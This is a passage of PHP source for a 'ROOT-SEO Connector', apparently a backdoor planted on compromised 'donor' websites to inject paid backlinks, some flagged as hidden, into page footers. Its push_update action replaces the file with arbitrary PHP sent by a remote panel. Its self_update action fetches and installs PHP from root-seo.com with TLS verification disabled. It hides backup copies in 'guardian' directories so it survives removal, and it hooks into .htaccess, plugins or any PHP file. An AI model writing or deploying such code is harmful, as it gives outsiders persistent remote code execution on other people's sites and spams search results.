'visible'))), 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'links_total' => $stats['total'], 'links_active' => $stats['active'], 'links_expired' => $stats['expired'], 'footer_detected' => $siteInfo['footer_detected'], 'footer_writable' => $siteInfo['footer_writable'], 'placement_ok' => $placementOk, 'placement_strategy' => $config['placement']['strategy'], 'placement_target' => $config['placement']['target'], 'placement_verify_status' => $verifyMessage, 'supports' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'get_config', 'set_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache'] ], 'ok'); break; case 'capabilities': respond(true, [ 'version' => CONNECTOR_VERSION, 'auth' => ['panel_token', 'optional_replay_headers'], 'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'], 'render_types' => default_render_types(), 'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'create_index_php', 'htaccess_prepend', 'any_php_file'], 'limits' => [ 'max_links_per_sync' => MAX_LINKS_PER_SYNC, 'max_anchor_length' => MAX_ANCHOR_LENGTH, 'max_url_length' => MAX_URL_LENGTH, 'max_request_bytes' => MAX_REQUEST_BYTES, 'footer_link_cap' => 0, ], 'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output', 'set_config', 'get_config', 'self_update', 'reinstall_placement', 'push_update', 'purge_cache'], 'cache_purge' => true, ], 'capabilities'); break; case 'info': respond(true, detect_site_info(), 'info'); break; case 'diagnose': $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); $config = load_config(); list($placementOk, $verifyMessage) = verify_current_placement($config); $diag = [ 'version' => CONNECTOR_VERSION, 'file_permissions' => [ 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), 'links_dir_writable' => is_writable(dirname(LINKS_FILE)), 'config_file' => CONFIG_FILE, 'config_file_exists' => file_exists(CONFIG_FILE), 'config_dir_writable' => is_writable(dirname(CONFIG_FILE)), 'nonces_file' => NONCES_FILE, 'nonces_file_exists' => file_exists(NONCES_FILE), 'prepend_helper_file' => PREPEND_HELPER_FILE, 'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE), ], 'link_stats' => $stats, 'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'visible'))), 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement' => $config['placement'], 'placement_ok' => $placementOk, 'placement_verify_status' => $verifyMessage, 'site_info' => $siteInfo, 'php_settings' => [ 'php_version' => phpversion(), 'allow_url_fopen' => ini_get('allow_url_fopen'), 'open_basedir' => ini_get('open_basedir') ?: 'not_set', 'max_execution_time' => ini_get('max_execution_time'), ], 'recommendations' => [], ]; if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable'; if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected'; if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall'; respond(true, $diag, 'diagnose'); break; case 'get_links': $links = load_links(); $stats = get_link_stats($links); respond(true, [ 'links' => array_values($links), 'total' => $stats['total'], 'active' => $stats['active'], 'expired' => $stats['expired'], 'placement' => load_config()['placement'], 'render_types' => load_config()['render_types'], ], 'links'); break; case 'add_link': $url = validate_url_value($req['url'] ?? ''); $anchor = validate_anchor_text($req['anchor'] ?? ''); $rel = normalize_rel($req['rel'] ?? 'dofollow'); $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null; if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400); $config = load_config(); $existingLinks = load_links(); $backup = $existingLinks; $linkId = validate_link_id($req['id'] ?? ''); if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel); // v5.3: render_types now honoured from payload (panel can force a single variant per link). $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null; if (is_string($reqRenderTypes)) { $decoded = json_decode($reqRenderTypes, true); if (is_array($decoded)) $reqRenderTypes = $decoded; else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes))); } $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes) ? filter_render_types($reqRenderTypes) : $config['render_types']; $row = [ 'id' => $linkId, 'kind' => normalize_kind($req['kind'] ?? 'footer'), 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(), 'updated_at' => time(), 'render_profile' => $config['render_profile'], 'render_types' => $effectiveRenderTypes, 'seo_hidden' => !empty($req['seo_hidden']) || !empty($req['hidden_link']), ]; $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']); save_links($existingLinks); list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false); if (!$ok) { save_links($backup); respond(false, [ 'link_id' => $linkId, 'injected' => false, 'placement_report' => placement_report_payload(), ], 'placement_install_failed', 500); } $finalLinks = load_links(); $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig); $cachePurge = rootseo_purge_caches(true); respond(true, [ 'link_id' => $linkId, 'injected' => true, 'render_types' => $finalRow['render_types'], 'placement_strategy' => $newConfig['placement']['strategy'], 'placement_target' => $newConfig['placement']['target'], 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge, ], 'link_added'); break; case 'remove_link': $linkId = validate_link_id($req['link_id'] ?? ''); if ($linkId === '') respond(false, [], 'invalid_link_id', 400); $links = load_links(); if (isset($links[$linkId])) { unset($links[$linkId]); if (!save_links($links)) respond(false, [], 'links_write_failed', 500); refresh_current_placement(load_config()); $cachePurge = rootseo_purge_caches(true); } else { $cachePurge = ['skipped' => true]; } respond(true, ['removed' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'link_removed'); break; case 'sync_links': $incoming = $req['links'] ?? []; if (is_string($incoming)) { $decoded = json_decode($incoming, true); if (is_array($decoded)) $incoming = $decoded; } if (!is_array($incoming)) respond(false, [], 'links_array_required', 400); if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400); $config = load_config(); $current = load_links(); $backup = $current; $final = []; $added = 0; $removed = 0; $unchanged = 0; foreach ($incoming as $row) { if (!is_array($row)) continue; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') continue; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $id = validate_link_id($row['id'] ?? ''); if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel); $normalized = normalize_link_row($id, [ 'id' => $id, 'kind' => normalize_kind($row['kind'] ?? 'footer'), 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null, 'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(), 'updated_at' => time(), 'render_profile' => $config['render_profile'], 'render_types' => $row['render_types'] ?? $config['render_types'], 'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']), ], $config); $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']); if (!isset($current[$id])) { $added++; } else { $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($before === $after) $unchanged++; } $final[$id] = $normalized; } foreach ($current as $id => $row) { if (!isset($final[$id])) $removed++; } save_links($final); list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false); if (!$ok) { save_links($backup); respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500); } $cachePurge = rootseo_purge_caches(true); respond(true, [ 'total' => count($final), 'added' => $added, 'removed' => $removed, 'unchanged' => $unchanged, 'placement_strategy' => $newConfig['placement']['strategy'], 'placement_target' => $newConfig['placement']['target'], 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge, ], 'synced'); break; case 'clear_links': if (!save_links([])) respond(false, [], 'links_write_failed', 500); refresh_current_placement(load_config()); $cachePurge = rootseo_purge_caches(true); respond(true, ['cleared' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'links_cleared'); break; case 'clear_expired': list($activeAfter, $expiredRemoved) = clear_expired_links(); respond(true, [ 'cleared' => count($expiredRemoved), 'remaining' => count($activeAfter), 'placement_report' => placement_report_payload(), ], 'expired_links_cleared'); break; case 'verify_links': respond(true, verify_links_action(), 'verified'); break; case 'placement_report': respond(true, placement_report_payload(), 'placement_report'); break; case 'self_reconcile': respond(true, self_reconcile_action(), 'reconciled'); break; case 'get_config': $cfg = load_config(); respond(true, [ 'output_mode' => $cfg['output_mode'], 'render_profile' => $cfg['render_profile'], 'render_types' => $cfg['render_types'], 'link_rel_strategy' => $cfg['link_rel_strategy'], 'placement' => $cfg['placement'], ], 'config'); break; case 'set_config': // Panel can change output_mode, render_types, render_profile, link_rel_strategy. // Placement state is NOT changed via this endpoint (use add_link / verify_links). $cfg = load_config(); // v5.4: hidden/cloaked rendering removed — only 'visible' is accepted. $allowedOutputModes = ['visible']; $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow']; if (isset($req['output_mode'])) { $om = strtolower(trim((string)$req['output_mode'])); if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400); $cfg['output_mode'] = $om; } if (isset($req['footer_link_cap'])) { // v5.5: 0 or negative = unlimited $cfg['footer_link_cap'] = max(0, intval($req['footer_link_cap'])); } if (isset($req['contextual_max_ttl'])) { $cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]); } if (isset($req['render_profile'])) { $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile']; } if (isset($req['render_types'])) { $rt = $req['render_types']; if (is_string($rt)) { $decoded = json_decode($rt, true); $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt))); } if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400); $cfg['render_types'] = filter_render_types($rt); } if (isset($req['link_rel_strategy'])) { $rs = strtolower(trim((string)$req['link_rel_strategy'])); if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400); $cfg['link_rel_strategy'] = $rs; } if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500); respond(true, [ 'output_mode' => $cfg['output_mode'], 'render_profile' => $cfg['render_profile'], 'render_types' => $cfg['render_types'], 'link_rel_strategy' => $cfg['link_rel_strategy'], ], 'config_updated'); break; case 'reinstall_placement': list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true); $cachePurge = rootseo_purge_caches(true); respond($ok, [ 'placement_ok' => $ok, 'placement' => $newConfig['placement'] ?? null, 'meta' => $placementMeta, 'placement_report' => placement_report_payload(), 'version' => CONNECTOR_VERSION, 'cache_purge' => $cachePurge, ], $ok ? 'placement_reinstalled' : 'placement_reinstall_failed', $ok ? 200 : 500); break; case 'purge_cache': respond(true, [ 'cache_purge' => rootseo_purge_caches(true), 'version' => CONNECTOR_VERSION, ], 'cache_purged'); break; case 'push_update': // Panel pushes fresh PHP source directly (no outbound fetch from donor). $newSource = ''; if (isset($req['source']) && is_string($req['source']) && $req['source'] !== '') { $newSource = $req['source']; } elseif (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') { $decoded = base64_decode($req['source_b64'], true); if ($decoded !== false) $newSource = $decoded; } else { $raw = get_raw_body(); if ($raw !== '' && strpos($raw, '<?php') !== false) $newSource = $raw; } if ($newSource === '' || strpos($newSource, '<?php') === false || strpos($newSource, 'ROOT-SEO Connector') === false) { respond(false, [], 'invalid_source', 400); } $self = __FILE__; $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time(); // Yerel dizine yazılamıyorsa /tmp yedeği yeterli — update yine de ilerlesin. if (!@copy($self, $backup)) { $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/rootseo_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php'; if (!@copy($self, $backup)) { $backup = ''; } } $tmp = $self . '.tmp.' . bin2hex(random_bytes(4)); if (@file_put_contents($tmp, $newSource) === false) { @unlink($tmp); respond(false, [], 'tmp_write_failed', 500); } if (!@rename($tmp, $self)) { @unlink($tmp); respond(false, [], 'rename_failed', 500); } $opcacheCleared = false; if (function_exists('opcache_invalidate')) $opcacheCleared = @opcache_invalidate($self, true); if (!$opcacheCleared && function_exists('opcache_reset')) $opcacheCleared = (bool)@opcache_reset(); foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.rs_connector.php.bak', $newSource); @file_put_contents($dir . '/.rs_stamp.json', json_encode(['version' => (preg_match("/define\\('CONNECTOR_VERSION',\\s*'([^']+)'/", $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), 'hash' => hash('sha256', $newSource), 'at' => time()])); } try { $cfg = load_config(); $cfg['footer_link_cap'] = 0; save_config($cfg); } catch (\Throwable $e) { } respond(true, [ 'old_version' => CONNECTOR_VERSION, 'fetched_bytes' => strlen($newSource), 'backup_path' => $backup, 'opcache_cleared' => $opcacheCleared, 'mode' => 'push_update', 'next' => 'call_reinstall_placement', ], 'pushed_update'); break; case 'self_update': // Pull fresh PHP from panel and atomically replace this file. // Requires PANEL_API_URL to be a real value (placeholder safety). $apiUrl = trim((string)PANEL_API_URL); $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : ''; $headers = [ 'X-RS-Panel-Token: ' . PANEL_TOKEN, 'Accept: application/x-php', 'User-Agent: rootseo-connector/' . CONNECTOR_VERSION, ]; $candidates = []; if ($apiUrl !== '' && strpos($apiUrl, '{{') === false) { $candidates[] = rtrim($apiUrl, '/') . '/connector/v5/source'; } // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds. $candidates[] = 'https://root-seo.com/api/connector/v5/source'; $candidates = array_values(array_unique($candidates)); $newSource = ''; $httpStatus = 0; $usedUrl = ''; foreach ($candidates as $sourceUrl) { $newSource = ''; $httpStatus = 0; $usedUrl = $sourceUrl; if (function_exists('curl_init')) { $ch = curl_init($sourceUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 25, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_HTTPHEADER => $headers, CURLOPT_SSL_VERIFYPEER => false, ]); $newSource = (string)curl_exec($ch); $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } else { $ctx = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => implode("\r\n", $headers), 'timeout' => 25, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $newSource = (string)@file_get_contents($sourceUrl, false, $ctx); $httpStatus = ($newSource !== '') ? 200 : 0; } if ($httpStatus === 200 && $newSource !== '' && strpos($newSource, '<?php') !== false) { break; } } if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) { respond(false, ['http_status' => $httpStatus, 'tried' => $candidates], 'source_fetch_failed', 502); } if (strpos($newSource, "ROOT-SEO Connector") === false) { respond(false, [], 'source_signature_mismatch', 502); } // Backup current file then atomic replace. $self = __FILE__; $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time(); if (!@copy($self, $backup)) { $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/rootseo_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php'; if (!@copy($self, $backup)) { $backup = ''; } } $tmp = $self . '.tmp.' . bin2hex(random_bytes(4)); if (@file_put_contents($tmp, $newSource) === false) { @unlink($tmp); respond(false, [], 'tmp_write_failed', 500); } if (!@rename($tmp, $self)) { @unlink($tmp); respond(false, [], 'rename_failed', 500); } $opcacheCleared = false; if (function_exists('opcache_invalidate')) { $opcacheCleared = @opcache_invalidate($self, true); } if (!$opcacheCleared && function_exists('opcache_reset')) { $opcacheCleared = (bool)@opcache_reset(); } foreach (guardian_dirs() as $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } if (!is_dir($dir) || !is_writable($dir)) continue; @file_put_contents($dir . '/.rs_connector.php.bak', $newSource); @file_put_contents($dir . '/.rs_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()])); } try { $cfg = load_config(); $cfg['footer_link_cap'] = 0; save_config($cfg); } catch (\Throwable $e) { } respond(true, [ 'old_version' => CONNECTOR_VERSION, 'fetched_bytes' => strlen($newSource), 'backup_path' => $backup, 'opcache_cleared' => $opcacheCleared, 'guardian_synced' => true, 'source_url' => $usedUrl, 'requested_version' => $expectedVersion ?: null, 'next' => 'call_reinstall_placement', ], 'self_updated'); break; case 'output': header('Content-Type: text/html; charset=UTF-8'); echo rootseo_render_links_html(); exit; default: respond(false, [], 'unknown_action', 404); }
Save
cmd:
run